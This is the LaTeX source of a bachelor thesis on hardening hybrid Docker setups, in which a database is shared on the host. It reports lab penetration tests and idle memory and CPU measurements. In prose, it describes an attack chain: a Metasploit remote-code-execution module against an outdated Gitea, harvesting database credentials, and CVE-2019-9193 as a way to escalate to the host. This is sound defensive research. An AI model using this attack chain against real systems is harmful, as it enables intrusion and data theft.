1
0
This repository has been archived on 2025-09-29. You can view files and clone it, but cannot push or open issues or pull requests.
bachelor-thesis/tex/thesis.tex

2766 lines
154 KiB
TeX
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

%
% FH Technikum Wien
% !TEX encoding = UTF-8 Unicode
%
% Erstellung von Master- und Bachelorarbeiten an der FH Technikum Wien mit Hilfe von LaTeX und der Klasse TWBOOK
%
% Um ein eigenes Dokument zu erstellen, müssen Sie folgendes ergänzen:
% 1) Mit \documentclass[..] einstellen
% * Master- oder Bachelorarbeit
% * Studiengang
% * Sprache (english, german, ngerman)
% * Zitationsstandard (Harvard, IEEE) (Standard: IEEE)
% * Biber oder BibTeX als Literaturbackend (Biber, BibTeX) (Standard: Biber)
% 2) Deckblatt, Kurzfassung, etc. ausfüllen
% 3) und die Arbeit schreiben (die verwendeten Literaturquellen in Literatur.bib eintragen)
%
% Getestet mit TeXstudio mit Zeichenkodierung utf-8 (=ansinew/latin1) und TexLive unter Ubuntu
% Zu beachten ist, dass die Kodierung der Datei mit der Kodierung des paketes inputenc zusammen passt!
% Die Kodierung der Datei twbook.cls MUSS ANSI betragen!
% Bei der Verwendung von UTF8 muss nicht nur die Kodierung des Dokuments auf UTF8 gestellt sein, sondern auch die des BibTex-Files!
%
% Bugreports und Feedback bitte per E-Mail an latex@technikum-wien.at
%
% Version V2.24 von 2024-12-19 otrebski
%
\documentclass[BIF,Bachelor,english,IEEE]{twbook}%\documentclass[Bachelor,BMR,ngerman]{twbook}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\usepackage{todonotes}
\usepackage{pgfplots}
%% Definieren Sie hier weitere Literaturdatenbanken
%\addbibresource{Literaturdatenbank.bib}
\usepackage[newfloat]{minted}
\usepackage{caption}
\graphicspath{./img}
\newenvironment{code}{\captionsetup{type=listing}}{}
\SetupFloatingEnvironment{listing}{}
\usepackage{chngcntr}
\counterwithin{listing}{section}
% Die nachfolgenden Pakete stellen sonst nicht benötigte Features zur Verfügung
\usepackage{blindtext}
%
% Einträge für Deckblatt, Kurzfassung, etc.
%
\title{Hardening Hybrid Infrastructures:\\Security Approaches for Docker Containers and their Host Systems}
\author{Benedikt Galbavy}
\studentnumber{2210257082}
%\author{Titel Vorname Name, Titel\and{}Titel Vorname Name, Titel}
%\studentnumber{XXXXXXXXXXXXXXX\and{}XXXXXXXXXXXXXXX}
\supervisor{Dipl. Ing. Manuel-Christopher Parg, BSc.}
%\supervisor[Begutachter]{Titel Vorname Name, Titel}
%\supervisor[Begutachterin]{Titel Vorname Name, Titel}
%\secondsupervisor{Titel Vorname Name, Titel}
%\secondsupervisor[Begutachter]{Titel Vorname Name, Titel}
%\secondsupervisor[Begutachterinnen]{Titel Vorname Name, Titel}
\place{Vienna}
\kurzfassung{Die Containerisierung hat sich als De-Facto Standard zur Bereitstellung von Anwendungen etabliert. In der Praxis werden jedoch Dienste samt ihrer Abhängigkeiten dupliziert, was unnötig Ressourcen bindet. Dieser Arbeit untersucht, ob sich durch Ersetzen duplizierter Dienste---wie z.B. Datenbanken---mit einer gemeinsamen Instanz auf dem Host Ressourcen einsparen lässt, ohne dabei die Sicherheit zu schwächen. Dazu wurde reproduzierbares Labor auf Basis von Vagrant, VirtualBox, Ansible und Docker aufgebaut, in dem ein vollständig containerisierter Stack einem ``hybriden'' Ansatz gegenübergestellt wurde. In beiden Szenarien wurden Sicherheitstests der Phasen \textit{Reconnaissance}, \textit{Exploitation} und \textit{Post-Exploitation} durchgeführt. Die Tests offenbarten keine neuen inhärenten Schwachstellen im hybriden Modell; allerdings erhöht das Konzept gemeinsam genutzter Dienste die Zahl der Komponenten, die von einem Sicherheitsvorfall betroffen sein könnten, und steigert die Komplexität der Konfiguration. Automatisiert erhobene Leistungsdaten zeigten im Leerlauf geringe, aber denoch statistisch significante Einsparungen in Verbrauchtem Arbeitsspeicher ($\approx3,6\%$) keine Vorteile bei der CPU-Auslastung. Insgesamt kann eine hybride Container-Host-Infrastruktur ebenso sicher und etwas ressourcenschonender als ein reiner Container-Stacks sein, erfordert jedoch sorgfältige Konfiguration und die konsequente Einhaltung von Sicherheits-Best-Practices. Die Ergebnisse basieren auf einer klein angelegten Leerlaufmessung; weitere Studien sollten klären, wie sich der Ansatz in größeren Produktionsumgebungen bewährt.}
\schlagworte{Containerisierung, Hybride Containerarchitektur, Docker, Service-Deduplikation, Containersicherheit}
\outline{Containerization is widely used for deploying applications, but often duplicates services and their dependencies across containers, leading to resource inefficiencies. This thesis examines whether moving common services---such as databases---out of Docker containers and running them once on the host, instead of running a separate instance for each service, can save resources without weakening security. A reproducible lab built with Vagrant, VirtualBox, Ansible and Docker was used to compare a fully containerized setup with a ``hybrid'' one. Within this environment, security tests covering reconnaissance, exploitation and post-exploitation were conducted to assess the viability of hybrid configurations. The tests revealed no new inherent vulnerabilities in the hybrid model, but the shared-service design increases the number of components affected by a potential breach and makes configuration more complex. Performance metrics were also collected using an automated script, and revealed only minor resource gains at idle ($\approx3.6\%$ less RAM usage and no CPU benefit). Overall, hybrid container-host infrastructures can be as secure as pure container stacks and slightly leaner, but they demand meticulous configuration and adherence to security best practices. These findings are based on a small-scale idle-state evaluation; further work is recommended to determine suitability for larger, production-scale environments.}
\keywords{Containerization, Hybrid container architecture, Docker, Service deduplication, Container security}
%\acknowledgements{\blindtext}
\begin{document}
\maketitle
%
% .. und hier beginnt die eigentliche Arbeit. Viel Erfolg beim Verfassen!
%
\chapter{Containerization}
Containerization is more relevant today than ever. Modern software design patterns like microservices rely heavily on using multiple isolated components---something that would not be possible with traditional hardware-based systems, or at least unfeasibly expensive; this is especially relevant for development and testing environments, which require reproducible and lightweight setups. DevOps pipelines often use containerization to run tasks on demand, ranging from unit tests to artifact building, and are prevalent in many software control systems---for example, in the form of GitHub Actions or GitLab CI. Compared to earlier approaches of virtual machines, containers allow running similarly independent systems with less overhead and less start-up delay, primarily due to not simulating the hardware and kernel, but only isolating user space. These points are only amplified by the widespread adoption through major tech companies and cloud platforms, which spent time and money on improving the software and surrounding tooling \cite{finley_2014_amazon,tozzi_2018_5}, as well as expanding on the original idea through concepts like orchestration of larger, distributed systems \cite{kubernetes_2023_overview}.
\section{A Solution to Dependencies}
Especially in development, dependencies are a well-known problem in unstandardized environments; different software requires different versions of the same libraries, often resulting in conflicts. This can be caused by installing the latest version of a given dependency at some point, but not updating it---commonly known as the ``it works on my machine'' problem \cite{pardo_2023_but,wang_2025_common}. One such scenario of a dependency conflict is Python, which often removes functions even in minor versions \cite{a2024_whats}, thus leading to incompatibilities---which are expressed as run-time errors in the case of Python specifically, making them harder to detect. Containerization solves that problem by virtualizing encapsulated, standardized environments; Docker is one of the most widely adopted containerization tools \cite{a2025_leading}, and will thus be used as a stand-in for containerization for the purposes of this thesis. There is some functionality specific to Docker, which has been highlighted in \autoref{cha:discussion}; overall these differences are very minor, however, and for most purposes alternative tools like Podman fulfill the role equally well.
\section{A Duplication of Dependencies}
As each container is a separate system, this introduces redundancy, particularly in background services and system-level dependencies rather than application libraries. While Docker does not duplicate the kernel and the hardware similar to how a full virtual machine does \cite{docker_2023_what}, each container still contains a complete operating system---although it usually does not feature a full desktop environment, but only a minimal user space---especially with minimal distributions like Alpine Linux. Furthermore, there is commonly a larger dependency overlap in most modern software: Taking docker as an example again, Skourtis et. al. states ``many layers only differ in a
small number of files but would otherwise be identical''\cite{skourtis_2019_carving}. Static elements like glibc and language interpreters mostly contribute to storage redundancy, but have a minimal performance impact. In contrast, service dependencies---including logging daemons, databases, and schedulers---consume CPU time, memory, and I/O resources. Considering similar services are often run on the same machine, such as two web services as shown in \autoref{sec:use_case_small_scale_web_services}, these dependencies are often similar or identical. One notable example is that of databases---which are commonly provided as standalone containers \cite{zhao_2024_simplifying} instead of being shipped as part of an image. While this separation can be convenient, this can lead to multiple instances of the same container on one host.
\section{A Solution to Duplication}\label{sec:a_solution_to_duplication}
While much research has already explored reducing storage inefficiencies in Docker images \cite{skourtis_2019_carving}, a less explored area is the duplication of service dependencies across containers. Many systems run multiple instances of the same service---message queues, databases, caching systems, authentication and redirection proxies, and logging systems are all common examples, despite their potential for centralization. While not all of these services can be reused, identifying the ones that are practical to share offers opportunities for less overhead and tighter integration with the host system. Logging in particular is a promising candidate, as it is not only essential for most systems, but Docker already captures container output streams. Instead of routing them to a new container or service, they can be processed centrally on the host, reducing duplication and simplifying management.
\section{Sharing Resources---To the Wrong Audience}
One of the core premises of containerization is isolation---each container acting independently with limited access to other containers or the host system. The previous sections focused on breaking this isolation for the purposes of resource efficiency. This brings the obvious trade-off of increasing the attack surface. There has been a great deal of research on attacks such as container escapes \cite{putta_2023_enhancing,yasrab_2018_mitigating,bui_2015_analysis}, and consequences of such an attack increase dramatically when resources are shared between the containers. While Docker networks secure inter-container communication \cite{a2024_networking,docker}, this does not secure interaction between the container and host system and does not prevent containers from accessing host resources, especially if they have been deliberately exposed. A prominent example of such an attack is the Log4Shell exploit \cite{zhaojun_2021_cve202144228}---which allowed remote code execution through logging---assuming similar exploits could exist in other logging software, just a single crafted log message could be enough to turn a single compromised container into a wider breach.
These risks highlight the importance of considering security implications when services are reused for a hybrid environment---a challenge addressed in the following chapters.
\clearpage
\chapter{Constructing a Real-World Scenario}
Since the focus of this thesis is on identifying improvements and analyzing trade-offs between isolation and efficiency of real-world applications, a realistic scenario is required. The constructed environment requires interfaces---HTTP(S), SSH, persistent volumes, background services, etc.---similar to those found in a production environment, while still keeping it minimal to ensure implementations function as intended. There are countless scenarios that fulfill these criteria, but one of the most common is web services.
\section{Use-Case: Small Scale Web Services}\label{sec:use_case_small_scale_web_services}
In an enterprise context, redundancies can often be planned for and eliminated in advance, but in smaller-scale scenarios, such as small companies or even just personal projects, environments often grow organically by adding additional services reactively to changing requirements rather than planning long term---leading to unplanned duplication. Such systems also often use Docker Compose \cite{kamath_2021_containerize} or similar orchestration tools with convenience-focused configurations---containing fewer moving parts and being easier to update---instead of favoring optimization. In addition, use cases as decribed intrinsicly have a higher motivation to stay cost-effective.
\subsection{The pieces of the puzzle}
\begin{figure}[!htbp]
\centering
\includegraphics[width=0.7\linewidth]{webservice-use_case.png}
\caption{Network diagram of a Docker setup with Gitea and Bitwarden}\label{fig:webservice}
\end{figure}
\subsubsection{Gitea---A Wide Attack Surface}
Gitea serves as an example for Git servers in a broader context. It will be used due to its lightweight design, but is otherwise representative of enterprise-grade systems like GitLab. A Git server provides a wide attack surface \cite{gitea,gitlab} due to the mix of different user content through file storage, comments and issues, and CI pipelines, and a mix of interfaces with HTTP(S) access and SSH access---commonly via a user \texttt{git}. SSH access in particular requires careful configuration \cite{gasser_2014_a}, as the host needs to access an SSH server inside the container, something rarely done otherwise. Gitea requires a database for storing user submissions---which can be provided by an integrated SQLite3 instance, but more commonly a postgres database container is used, and it requires a file volume, commonly mounted directly to the host; it furthermore has optional dependencies in code runners for pipelines and an email server.
\subsubsection{Bitwarden---Increasing the Stakes}
Bitwarden, or more accurately vaultwarden---an open-source implementation of a Bitwarden server---fulfills the role of component, that is less complex, but stores highly sensitive data. Unlike Gitea, it only requires a database and, optionally, an email server, but this raises the question of how big of a security risk is introduced by sharing a core service like a database between two services differing greatly in risk. Vaultwarden in particular provides great value to such an analysis due to its thorough documentation \cite{danigarcia_2025}, allowing purposeful misconfiguration to test different attack vectors.
\subsubsection{Nginx---The Entrypoint}
Reverse proxies like Nginx or Traefik are commonly used as an entry point to route incoming requests \cite{wahanani_2021_implementation} to the correct services based on hostname. Compared to Traefik, Nginx also provides a significant amount of additional functionality; however, an extended feature set can also introduce unnecessary complexity, increasing the risk of misconfigurations---this has to be analyzed in the following chapters. It is also important to point out that oftentimes a firewall another step infront of the proxy, or integrated into it; examples include iptables rules on the host or fail2ban integrated with the Nginx logs.
\subsubsection{Background Service Redundancy}\label{ssub:background_service_redundancy}
In addition to the primary services, there are some background services required, which affect both Gitea and Bitwarden:
For TLS/SSL, certificates are required---which are commonly handled by a Let's Encrypt ``certbot''. The service can either run on the host directly or in its own container; either way, the certificates will need to be exported to the Nginx container---in most cases, the certificate service will write to a shared volume. However, due to rate limits on issuing certificates and the rapid iteration over different configurations required for this thesis, automatic certificate management has been eliminated as part of the tested setup.
As previously hinted at, most scenarios include some form of log management and processing. Docker already provides prerequisites and allows configuring log collection to a file, to journald, or to log drivers of common log management systems \cite{Configure2025}. However, since this is already integrated into Docker itself, and does not need additional configurations of the Docker services, analyzing it would be beyond the scope of this thesis.
It should be noted that the applications themselves are not the focus of the analysis, but just serve as means to an end; the focus is on the analysis of the dependencies.
\subsection{Reducing redundancy}\label{sub:reducing_redundancy}
\begin{figure}[!htbp]
\centering
\includegraphics[width=0.7\linewidth]{webservice-hybrid.png}{}
\caption{Network diagram of \autoref{fig:webservice} with a shared Postgres service}\label{fig:webservice-hybrid}
\end{figure}
\autoref{fig:webservice-hybrid} illustrates two services running on a shared host system, rather than deploying a separate instance for each service. Initially the logging system was considered as a candidate for demonstrating a hybrid setup. However, since Docker already manages logging---including support for external logging systems, as discussed in \autoref{ssub:background_service_redundancy}---this approach would neither be novel nor yield any measurable difference to the baseline. Disabling Docker's built-in logging systems would introduce an arbitrary change not reflective of real-world scenarios. As a result the focus now lies on replacing the two database containers with a shared service on the host. This change is expected to produce more significant differences in a practical scenario.
\subsection{The caveats of the setup}
Even in a comparatively simple scenario such as the one described in this chapter, conflicts may arise between the services---and even Docker itself. By default, all Docker containers are connected to the \texttt{docker0} network interface, which uses the subnet \texttt{172.17.0.0/16} \cite{Networking2025}. An exception to this rule is Docker Compose, which creates a separate default network independed of \texttt{docker0} for each Compose file; however, Docker Compose always uses the first unused \texttt{/16} subnet in its pool, making the exact subnet mask unknown, as other services running on the same system could interfer. To alleviate this issue, a network must be defined in the Docker Compose file, and the corresponding subnet must be allowed in the PostgreSQL configuration \cite{Networking2025}.
\clearpage
\chapter{Reproducibility}
Since the Docker host system will be tested as well, it also needs to be reproducible---to achieve that, it will be instantiated as a virtual machine. Since the term host often has different meanings, especially in a context of containerization, this section will clarify the terms used for the rest of the thesis:
The device on which the VM is hosted will henceforth be called VM host; the host of the Docker containers---the described VM---will be called Docker host, Docker VM, or just host. To allow reliable reproduction of attacks, these will also be made from a VM, which will be called the client-vm, or just client. If any further services are required, which would normally be external ``on the internet'', a third VM will be used, the ``external-vm''. The VM host will only ever be used for configuring the VMs, never to test anything. The base configuration can be found in \autoref{appendix_base_config}.
\section{The Host of the Host}
Tools have been selected based on reproducibility and compatibility, but not performance. The resulting stack---Vagrant, VirtualBox, Ansible, and Ubuntu---is widely adopted \cite{a2024_vagrant} and well supported, allowing better reuse of existing research, as well as sharing of the test setup.
\begin{figure}[!htbp]
\centering
\includegraphics[width=0.7\linewidth]{attack_lab.png}
\caption{Relation of the components in the lab setup using a simplified representation of the tested services}\label{fig:lab}
\end{figure}
\section{Preparing for Attack}
To evaluate the effectiveness of the configuration and the implemented measures, first a preliminary scan is run on the Docker host; afterwards, a series of controlled attacks are performed from the client VM against the services running on the Docker host. The scan is conducted using the CIS Docker Benchmark, which serves as a foundational tool for establishing a security baseline for all environments. The attack process afterwards is split into three phases, mirroring real-world scenarios:
\begin{itemize}
\item Reconnaissance: Tools like nmap, netcat, and curl are used to discover any open ports, services, and misconfigurations.
\item Exploitation: Metasploit and custom scripts are used to test the effectiveness of known exploits on a specific configuration. Due to the reproducibility of the environment, effectiveness can be measured and compared as a simple pass/fail rate, but it is expected that qualitative assessments will need to be used to capture the nuances of different exploits.
\item Post-Exploitation: After gaining access, tools like linpeas and manual inspection are used to determine access to shared resources.
\end{itemize}
For the client VM, first Ubuntu Desktop was considered as the OS; however, as the client is not the focus of this thesis and thus does not need to be representative of the real-world to the same degree as the Docker VM, Kali Linux was determined to be a better option due to the suite of preinstalled tooling for the simulated attacks.
The goal of these tests is not to discover novel exploits, but to simulate real-world attack paths and analyze the additional risk introduced by the hybrid architecture. It should also be noted that some tested measures only protect against a specific step or assume certain prerequisites---some steps will thus be skipped where applicable.
\section{Entrypoints}\label{sec:entrypoints}
While for most attacks the entry point will be the same as for regular usage---commonly via the exposed HTTP(S) port---such attacks are limited to surface weaknesses. It is, however, realistic to expect attackers to gain access in some form, through misconfigurations, issues introduced further up the software supply chain, or, in extreme cases, even through zero-day exploits; thus, it is prudent to adopt an ``assume breach'' mindset for setups as described in this thesis \cite{souppaya_2017_application, avrahami_2019_breaking}. For the purposes of testing the configurations, an assumed breach will be provided via a Docker container described in \autoref{code:sandbox:vuln_docker}.
\clearpage
\chapter{The Holes in the Wall}
This chapter describes the tests against the architecture. Each test starts with the configuration in \autoref{appendix_base_config}, modified using the patches in \autoref{appendix_patches}, applied via \texttt{patch} \cite{patch1}. Once the configuration is complete, the VMs are booted with Vagrant \cite{hashicorp_vagrant}.
\section{Security analysis---Use-Case: Web Services}
\subsection[Base Configuration]{Base Configuration}
The base configuration (\autoref{fig:webservice}) is minimal, relying on default values wherever possible. As a result, the Docker Benchmark results (\autoref{docker_bench:base}) are not directly relevant to this section, but serve as a baseline for later comparisons.
\subsubsection*{Reconnaissance}\label{ssub:base:recon}
\paragraph*{NMap Scan}
As shown in \autoref{log:base:nmap_sS}, although no unexpected ports are open\footnote{Port 2222 is used for the setup via Vagrant and thus only an artifact of the specific environment used for this thesis. An identical setup in a production environment would not expose port 2222.}, the scan does reveal that the setup redirects to Gitea, by default, instead of Bitwarden or a blank page. This behavior is expected, as no alternative default has been configured.
\paragraph*{Known services analysis}
The HTTP headers of the Nginx entrypoint (\autoref{log:base:curl_I}) show a redirect and reveal the Nginx version; following the redirect of the Gitea service (\autoref{log:base:curl_IL_gitea}) does not bring any new information. The body of this request (\autoref{log:base:curl_L_gitea}) forms the landing page of Gitea, and does not directly expose any critical data, though it does reveal the installation's version number, which, paired with known security vulnerabilities \cite{gitea}, could pose a security risk. It also reveals the address \texttt{http://localhost:3000/} in a \texttt{<meta>} tag, though it is unclear if this reflects an active configuration or a cosmetic misconfiguration. However, base64-encoded manifest includes the same address, implying the address is indeed used internally.
Vaultwarden presents a similar issue (\autoref{log:base:curl_L_bitwarden}) with regard to its version after allowing the page to execute JavaScript, albeit with a more complex set of HTTP headers (\autoref{log:base:curl_IL_bitwarden}).
\subsubsection*{Exploitation}
As preliminary scans do not reveal any known vulnerabilities, and the goal is not to find unknown vulnerabilities in the services, the base configuration will assumed to be secure on a surface level. For multilayered security, it is essential to test more components than just the external interface \cite{souppaya_2017_application}. To simulate internal access, the container described in \autoref{sec:entrypoints} is used, as demonstrated in \autoref{log:base:metasploit:ssh_login}. Similar \texttt{nmap} scans as described before confirm the presence of an open port 3000, as shown in \autoref{log:base:vuln:nmap}, but do not reveal any additional services.
\subsubsection*{Post-Exploitation}
In a typical Docker Compose setup, Docker networks already provide strong encapsulation \cite{Filtering2025}. As such, the database for either service could not be accessed. The only successful container access was establishing direct communication with other public-facing services, effectively bypassing any potential firewall. However, this can again be alleviated by using a separate bridge network between each service and the Nginx container.
\subsection[Hybrid Configuration]{Hybrid Configuration}
\subsubsection*{Reconnaissance}
On a surface level, the hybrid configuration (\autoref{fig:webservice-hybrid}) does not differ from the base configuration in any way\footnote{The same tests have been performed as described in \autoref{ssub:base:recon}, results have been omitted for brevity, as they are identical}. This is expected, as the only major changes lie in the database, which is not public-facing in either configuration. However, after simulating access again, an \texttt{nmap} scan reveals an additional open port 5432 (\autoref{log:hybrid:vuln:nmap}).
\subsubsection*{Exploitation}
After establishing a port forward to the client VM (\autoref{log:hybrid:meterpreter:fwd}), basic attacks can be run against the PostgreSQL database---the same instance in use by the two services. This poses a risk of DoS attacks, or even data breaches, if the instance is sufficiently misconfigured. Unfortunately for the purposes of this test, an up-to-date PostgreSQL database is secure against common attacks (\autoref{log:hybrid:portfwd:postgres_version}, \autoref{log:hybrid:portfwd:postgres_bruteforce}); this is supported by PostgreSQL's publicly documented security-response process \cite{PostgreSQL}.
\subsection{Outdated Versions of Services}\label{sub:outdated_versions_of_services}
As the hybrid configuration---contrary to expectations---did not introduce any major security flaws, this configuration is intended to demonstrate how potential risks mentioned in the previous sections could become actual risks. As it is expected for this configuration to perform poorly in terms of security, the CIS Docker Benchmark has been omitted. Due to the reverse proxy interfering with one of the exploits this configuration intends to demonstrate, additionally port 3000 is directly forwarded from the gitea service. It can be argued that such a misconfiguration is realistic, as the official gitea documentation suggests forwarding port 3000 \cite{GiteaDocs}. Additionally, for the exploit to work, the \texttt{ALLOW\_LOCALNETWORKS} configuration of the migrations section needs to be enabled. While in production scenarios this is rarely a required option, especially in home-lab environments, it is conceivable that migrations within a local network happen, for example, if a different git server was previously used. While this scenario is artifically constructed, anecdotal evidence does suggest local-only connections are commonplace in home-lab environments \cite{rHomelabLocalUsage}.
\paragraph*{Reconnaissance}
An \texttt{nmap} scan on this system confirms the presence of an open port 3000 (\autoref{log:insecure:nmap}), as expected; accessing the web service---either via the hostname \texttt{gitea.vm.local} or the now exposed port \texttt{192.168.56.10:3000}---confirms the outdated version \texttt{1.16.6}. Otherwise surface scans of this configuration produce identical results to the hybrid configuration.
\paragraph*{Exploitation}
With the Gitea service exposed, the metasploit module \texttt{exploit/multi/http/gitea\_git\_fetch\_rce} can establish a remote shell automatically, as shown in \autoref{log:insecure:gitea_rce}.
\paragraph*{Post-Exploitation}
After gaining shell access to the Gitea container, it can be explored freely; this includes Gitea's configuration, which reveals information such as the database, including username and password (\autoref{log:insecure:gitea:shell}). With this information, it is possible to establish a Metasploit session (\autoref{log:insecure:postgres_session}), which allows retrieving data from the database (\autoref{log:insecure:postgres_exploit_version}, \autoref{log:insecure:postgres_exploit_sql}). Unfortunately any further escalation is not easily possible, as the Gitea user lacks superuser privileges (\autoref{log:insecure:postgres_exploit_rce}).
\subsection{Hardened configuration}
The hardened configuration is intended to improve upon the hybrid setup, however, as the hybrid configuration already proved secure, this test is primarily a configuration exercise rather than a penetration test, and as such will not follow the usual pattern. Comparing the CIS Docker Bench results in \autoref{docker_bench:hardened} with the results from the hybrid configuration in \autoref{docker_bench:hybrid}, it can be concluded that even with relatively simple changes, security can be significantly improved.
\section{Performance}\label{sec:performance}
Going back to the original idea of \autoref{sec:a_solution_to_duplication}, while security is one of the central considerations, the other is performance. This poses the question, does a hybrid system improve performance? As the goal is not to perform an extensive benchmark, a simple approach is to measure available processing power and used memory at idle. For this purpose a shell script (\autoref{code:idle_measure}) was used, measuring 60 samples each across 5 runs per setup\footnote{The raw data is available in electronic form upon request}.
\begin{table}[!htbp]
\centering
\caption{Performance comparison between Base and Hybrid systems at idle.}\label{tab:system_comparison}
\begin{tabular}{| r | l | l | l |}\hline
Metric & Base System & Hybrid System & Difference (\%)\\\hline
RAM Usage (MB) & 895.17 $\pm$ 1.00 & 863.11 $\pm$ 1.00 & -3.58\%$^{*}$\\
CPU Idle (\%) & 99.57 $\pm$ 0.10 & 99.64 $\pm$ 0.10 & +0.06\%\\\hline
\multicolumn{4}{l}{\small $^{*}$ Statistically significant difference ($p < 0.05$)}
\end{tabular}
\end{table}
\autoref{tab:system_comparison} indicates significantly less memory used at idle, with a 3.58\% reduction and high statistical confidence ($p < 0.05$). CPU idle percentages, however, are statistically equivalent between the two measured configurations. The measurements also show a narrow margin of error, with $\pm1.00 MB$ for RAM usage, and $\pm0.10\%$ for CPU idle.
\clearpage
\chapter{Discussion}\label{cha:discussion}
\section{Evaluating Success}\label{sec:evaluating_success}
The primary goal of this thesis was to assess whether reducing service redundancy in containerized systems without degrading security can be achieved through a hybrid approach. For this purpose, a reproducible and testable environment was constructed, which allowed for rapid iteration over different configurations and testing on a known state. With the help of this environment, security benchmarks (\autoref{appendix:docker_bench}) and controlled tests found that no major security vulnerabilities were introduced by a hybrid approach, but the increased number of configurations required may increase the likelihood of human error when doing so. Additionally a performance improvement could be measured in the form of a 30 MB reduction of used memory at idle---however, no CPU usage improvement was detected---as discussed in \autoref{sec:performance} (see also \autoref{tab:system_comparison}).
It has to be noted, while these findings are promising, they are not yet generalizable: The study deliberately focused on the general feasibility of a hybrid approach, and as such was limited to a minimal configuration. To determine further viability for different applications, larger scale setups should be tested. Additionally, the performance tests only measured on an idle level, and as such no definitive conclusions can be drawn to the effectiveness on production environment; this does not invalidate the tests, however, as this isolates the overhead of running a system from actual loads.
\section{Untested Configurations}
Due to the wide array of possible configurations for any Docker setup, it is virtually impossible to cover all in detail. Nonetheless this section will try to highlight some more common configurations that were left out, and reason on why they were not tested. Furthermore this section also highlights opportunities for expanding the concept of hybrid systems. It is important to note that this list is by no means a complete list.
\subsection{Alternatives to Docker Networks}
While it is common to expose specific ports for services---such as 3000 for Node.js and thus Gitea, or variations on 8080 (8081, 8090, \textellipsis) for HTTP services---this approach is prone to cause port collisions. To avoid this, it is common to use a Docker network \cite{a2024_networking} instead, especially as Docker Compose already defines the name of each service as its hostname. As Docker networks are also a common security measure \cite{yasrab_2018_mitigating}, using hostnames not only improves convenience---both in setup and day-to-day use---but also security---thus testing configurations without using Docker networks would not provide any meaningful results.
\subsection{Hardening of Services}
The security of both services in the tested setup can be further improved by implementing the suggested hardening measures according to their documentation \cite{VaultwardenHardening,GiteaHardening}---some of which are implemented for other tests anyway---extensive security testing of the services itself would, however, go past the scope of this thesis, as the selected services are merely a representation of a possible scenario.
\subsection{Centralized Logging}
In \autoref{sub:reducing_redundancy} the subject of logging was briefly touched upon, however, it is worth reiterating: While logging is an essential component to almost any system, its integration into Docker makes it difficult to draw any meaningful conclusions from testing it, as any such tests would be a configuration exercise of built-in systems. Furthermore, loggging and log management are often treated as a dedicated topic, distinct form application and network security itself \cite{Kent2006,Scarfone2023}---thus researching it would exceed the scope of this thesis.
\subsection{Stress Testing}
Due to the high variability and complex testing procedure of stress tests, it has been decided performing stress tests on the configuration would be beyond the scope of the thesis. To evaluate further uses of hybrid systems, as will be discussed in \autoref{sec:scaling_issues}, it would be beneficial to perform more rigorous performance testing of different configurations. Because the focus of this thesis was---as mentioned in \autoref{sec:evaluating_success}---evaluating general feasibility of hybrid systems, rigorous stress tests would go beyond the scope.
\section{Security Trade-offs}
The use hybridisation changes two main areas of system security: It amplifies the `blast radius' of a breach and increases configuration complexity.
\subsection{Potential Risks}
While \autoref{sub:outdated_versions_of_services} showed potential vulnerabilities introduced through the hybrid approach---it demonstrated access to a database also used by another service after exploiting an RCE vulnerability in Gitea---it failed to exploit said access in a way that would not be possible in a conventional system. It did, however, demonstrate the dangers of unpatched systems, which implies, if the vulnerability would have been in a shared service, data of the vaultwarden would also have been compromised.
Another trade-off is the increased complexity in ensuring network segregation: In a traditional setup, for each service and its dependencies a separate network can be defined to fully segregate it from other services, however, in a hybrid network, multiple networks need access to the same dependencies while ideally not being allowed to communicate with eachother. However, this issue is remedied by the easy of use of Docker networks, and as such only requiring minimal additional configuration.
\subsection{Security Defaults vs. Manual Configuration}
As already highlighted in previous sections, hybrid systems sometimes require particular configuration to function properly. This strays from a secure-by-default approach \cite{OWASP,C5}, increasing the potential for human error. Such issues are only amplified by the severity of misconfigurations, with the potential to escalate to a system wide breach. Taking the previous example, the vulnerability in Gitea can be escalated to a system wide breach through an unsecured super user account, by utilizing vulnerabilities such as CVE-2019-9193\footnote{CVE-2019-9193 centers on the \texttt{COPY TO/FROM PROGRAM} function, which could allow a superuser or otherwise permitted user to execute arbitrary OS commands on the host system as the service's system user. The CVE is marked as `DISPUTED' because the PostgreSQL project views this capability as expected for superusers; nonetheless, the consequences of an attacker gaining access to an unsecured superuser remain critical.} \cite{CVE_2019_9193} to gain shell access. Due to PostgreSQL running as a service on the host, exploiting the mentioned vulnerability would bypass container isolation entirely and gain direct access to the host system---resulting in a cross-service breach.
Another disadvantage of hybrid systems is its underexplored nature, as such there is intrinsicly less documentation and user experience available than for conventional system. On a positive note, shared services only need to be configured once, reducing the chance of forgetting about a service or similar.
\subsection{Real-World Implications}
Overall, modern day environment should incur minimal additional risk from a hybridisation, especially considering the suite of tools available, from easy-to-configure Docker networks, over drop-in firewalls, to automated monitoring tools \cite{iot5030026,WhatIsFalco}. Additionally a centralized instance of a dependency simplifies pactch managements: An adminstrator is only required to update one service, reducing the window of exposure for known vulnerabilities. These factors suggest hybrid systems can be viable, assuming conventional wisdom regarding system adminstration is followed \cite{106028nistsp800123,CISBench}.
\section{Scaling Issues}\label{sec:scaling_issues}
While the reduction of services seems lucrative at first, it can be assumed such improvements do not scale linearly with server size. The tested system was purposefully designed to be minimal, active production systems fluctuate in the range of gigabytes, however, and as such the overhead of another PostgreSQL service is quite miniscule in comparison. In fact, distributed systems often spin up new instances of non-relational databases on demand \cite{gessert2017nosql,pokorny2011nosql}. However, in small scale environments, that often sit idle, such differences can matter. Anecdotal evidence suggest, it is not uncommon for a Raspberry Pi to be used as a home-server \cite{RPiWebServer,Martin}, and on this scale 30 MB can be up to 6\% of the total memory, depending on model\footnote{The Raspberry Pi 3B---considered one of the most sold models---has 1 GB of RAM}. In home-lab environments it is also more common to have mutliple services on the same system, further increasing the likelyhood of redundant services.
\section{Reflextion on Reproducibility and Methodology}
The usage of Vagrant to allow seamless recreation of any system could be one of the best advantages of the chosen methodology; while Vagrant itself did cause some issues---there has been a Ruby update during the writing of this thesis, temporarily breaking dependencies---a VM management system in general allowed for repeated runs of performance tests, or rapid iteration over different configuration options. Furthermore the usage of tools like Metasploit and Docker Bench automated large parts of the tests, while still completing the task of analysing the systems for common issues.
\section{Conclusion}
The results demonstrate that hybrid configurations can be secure and efficient, but only when managed with deliberate configuration and a clear understanding of the associated trade-offs. The question is not whether to share resources, but how to do so safely---especially in setups that prioritize cost-effectiveness and agility over centralized control.
